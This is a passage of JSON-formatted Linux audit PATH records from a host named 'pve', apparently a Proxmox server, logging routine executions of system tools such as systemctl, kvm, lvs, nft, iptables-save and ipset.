cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051830,"@rawstring":"node=pve type=PATH msg=audit(1781965051.830:63827): item=0 name=\"/bin/systemctl\" inode=260947 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051813,"@rawstring":"node=pve type=PATH msg=audit(1781965051.813:63826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051813,"@rawstring":"node=pve type=PATH msg=audit(1781965051.813:63826): item=0 name=\"/bin/systemctl\" inode=260947 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051748,"@rawstring":"node=pve type=PATH msg=audit(1781965051.748:63825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051748,"@rawstring":"node=pve type=PATH msg=audit(1781965051.748:63825): item=0 name=\"/usr/bin/kvm\" inode=305063 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051710,"@rawstring":"node=pve type=PATH msg=audit(1781965051.710:63824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051710,"@rawstring":"node=pve type=PATH msg=audit(1781965051.710:63824): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051682,"@rawstring":"node=pve type=PATH msg=audit(1781965051.682:63823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051682,"@rawstring":"node=pve type=PATH msg=audit(1781965051.682:63823): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051648,"@rawstring":"node=pve type=PATH msg=audit(1781965051.648:63822): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051648,"@rawstring":"node=pve type=PATH msg=audit(1781965051.648:63822): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PATH msg=audit(1781965051.620:63821): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PATH msg=audit(1781965051.620:63821): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PATH msg=audit(1781965051.620:63820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PATH msg=audit(1781965051.620:63820): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PATH msg=audit(1781965051.620:63819): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051620,"@rawstring":"node=pve type=PATH msg=audit(1781965051.620:63818): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PATH msg=audit(1781965051.614:63817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PATH msg=audit(1781965051.614:63817): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PATH msg=audit(1781965051.614:63816): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051614,"@rawstring":"node=pve type=PATH msg=audit(1781965051.614:63815): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051584,"@rawstring":"node=pve type=PATH msg=audit(1781965051.584:63814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051584,"@rawstring":"node=pve type=PATH msg=audit(1781965051.584:63814): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051563,"@rawstring":"node=pve type=PATH msg=audit(1781965051.563:63813): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051563,"@rawstring":"node=pve type=PATH msg=audit(1781965051.563:63813): item=0 name=\"/bin/df\" inode=260688 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051563,"@rawstring":"node=pve type=PATH msg=audit(1781965051.563:63812): item=0 name=\"/sbin/df\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051555,"@rawstring":"node=pve type=PATH msg=audit(1781965051.555:63811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051555,"@rawstring":"node=pve type=PATH msg=audit(1781965051.555:63811): item=0 name=\"/bin/ionice\" inode=260770 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965051555,"@rawstring":"node=pve type=PATH msg=audit(1781965051.555:63810): item=0 name=\"/sbin/ionice\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PATH msg=audit(1781965046.602:63809): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PATH msg=audit(1781965046.602:63809): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PATH msg=audit(1781965046.602:63808): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046602,"@rawstring":"node=pve type=PATH msg=audit(1781965046.602:63807): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PATH msg=audit(1781965046.590:63806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PATH msg=audit(1781965046.590:63806): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PATH msg=audit(1781965046.590:63805): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965046590,"@rawstring":"node=pve type=PATH msg=audit(1781965046.590:63804): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045178,"@rawstring":"node=pve type=PATH msg=audit(1781965045.178:63803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045178,"@rawstring":"node=pve type=PATH msg=audit(1781965045.178:63803): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045175,"@rawstring":"node=pve type=PATH msg=audit(1781965045.175:63802): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045175,"@rawstring":"node=pve type=PATH msg=audit(1781965045.175:63802): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045174,"@rawstring":"node=pve type=PATH msg=audit(1781965045.174:63801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045174,"@rawstring":"node=pve type=PATH msg=audit(1781965045.174:63801): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045174,"@rawstring":"node=pve type=PATH msg=audit(1781965045.174:63800): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045170,"@rawstring":"node=pve type=PATH msg=audit(1781965045.170:63799): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045170,"@rawstring":"node=pve type=PATH msg=audit(1781965045.170:63799): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045170,"@rawstring":"node=pve type=PATH msg=audit(1781965045.170:63799): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045164,"@rawstring":"node=pve type=PATH msg=audit(1781965045.164:63798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045164,"@rawstring":"node=pve type=PATH msg=audit(1781965045.164:63798): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045158,"@rawstring":"node=pve type=PATH msg=audit(1781965045.158:63797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045158,"@rawstring":"node=pve type=PATH msg=audit(1781965045.158:63797): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045151,"@rawstring":"node=pve type=PATH msg=audit(1781965045.151:63796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045151,"@rawstring":"node=pve type=PATH msg=audit(1781965045.151:63796): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045144,"@rawstring":"node=pve type=PATH msg=audit(1781965045.144:63795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045144,"@rawstring":"node=pve type=PATH msg=audit(1781965045.144:63795): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045139,"@rawstring":"node=pve type=PATH msg=audit(1781965045.139:63793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045139,"@rawstring":"node=pve type=PATH msg=audit(1781965045.139:63793): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045134,"@rawstring":"node=pve type=PATH msg=audit(1781965045.134:63792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045134,"@rawstring":"node=pve type=PATH msg=audit(1781965045.134:63792): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045129,"@rawstring":"node=pve type=PATH msg=audit(1781965045.129:63791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045129,"@rawstring":"node=pve type=PATH msg=audit(1781965045.129:63791): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045124,"@rawstring":"node=pve type=PATH msg=audit(1781965045.124:63790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045124,"@rawstring":"node=pve type=PATH msg=audit(1781965045.124:63790): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045118,"@rawstring":"node=pve type=PATH msg=audit(1781965045.118:63789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045118,"@rawstring":"node=pve type=PATH msg=audit(1781965045.118:63789): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045113,"@rawstring":"node=pve type=PATH msg=audit(1781965045.113:63788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045113,"@rawstring":"node=pve type=PATH msg=audit(1781965045.113:63788): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045107,"@rawstring":"node=pve type=PATH msg=audit(1781965045.107:63787): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045107,"@rawstring":"node=pve type=PATH msg=audit(1781965045.107:63787): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045100,"@rawstring":"node=pve type=PATH msg=audit(1781965045.100:63786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045100,"@rawstring":"node=pve type=PATH msg=audit(1781965045.100:63786): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045097,"@rawstring":"node=pve type=PATH msg=audit(1781965045.097:63785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045097,"@rawstring":"node=pve type=PATH msg=audit(1781965045.097:63785): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045093,"@rawstring":"node=pve type=PATH msg=audit(1781965045.093:63784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045093,"@rawstring":"node=pve type=PATH msg=audit(1781965045.093:63784): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=PATH msg=audit(1781965045.092:63783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=PATH msg=audit(1781965045.092:63783): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045092,"@rawstring":"node=pve type=PATH msg=audit(1781965045.092:63782): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045087,"@rawstring":"node=pve type=PATH msg=audit(1781965045.087:63781): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045087,"@rawstring":"node=pve type=PATH msg=audit(1781965045.087:63781): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045087,"@rawstring":"node=pve type=PATH msg=audit(1781965045.087:63781): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045081,"@rawstring":"node=pve type=PATH msg=audit(1781965045.081:63780): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045081,"@rawstring":"node=pve type=PATH msg=audit(1781965045.081:63780): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045074,"@rawstring":"node=pve type=PATH msg=audit(1781965045.074:63779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045074,"@rawstring":"node=pve type=PATH msg=audit(1781965045.074:63779): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045069,"@rawstring":"node=pve type=PATH msg=audit(1781965045.069:63778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045069,"@rawstring":"node=pve type=PATH msg=audit(1781965045.069:63778): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045063,"@rawstring":"node=pve type=PATH msg=audit(1781965045.063:63777): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045063,"@rawstring":"node=pve type=PATH msg=audit(1781965045.063:63777): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045056,"@rawstring":"node=pve type=PATH msg=audit(1781965045.056:63776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965045056,"@rawstring":"node=pve type=PATH msg=audit(1781965045.056:63776): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044568,"@rawstring":"node=pve type=PATH msg=audit(1781965044.568:63775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044568,"@rawstring":"node=pve type=PATH msg=audit(1781965044.568:63775): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044533,"@rawstring":"node=pve type=PATH msg=audit(1781965044.533:63774): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965044533,"@rawstring":"node=pve type=PATH msg=audit(1781965044.533:63774): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 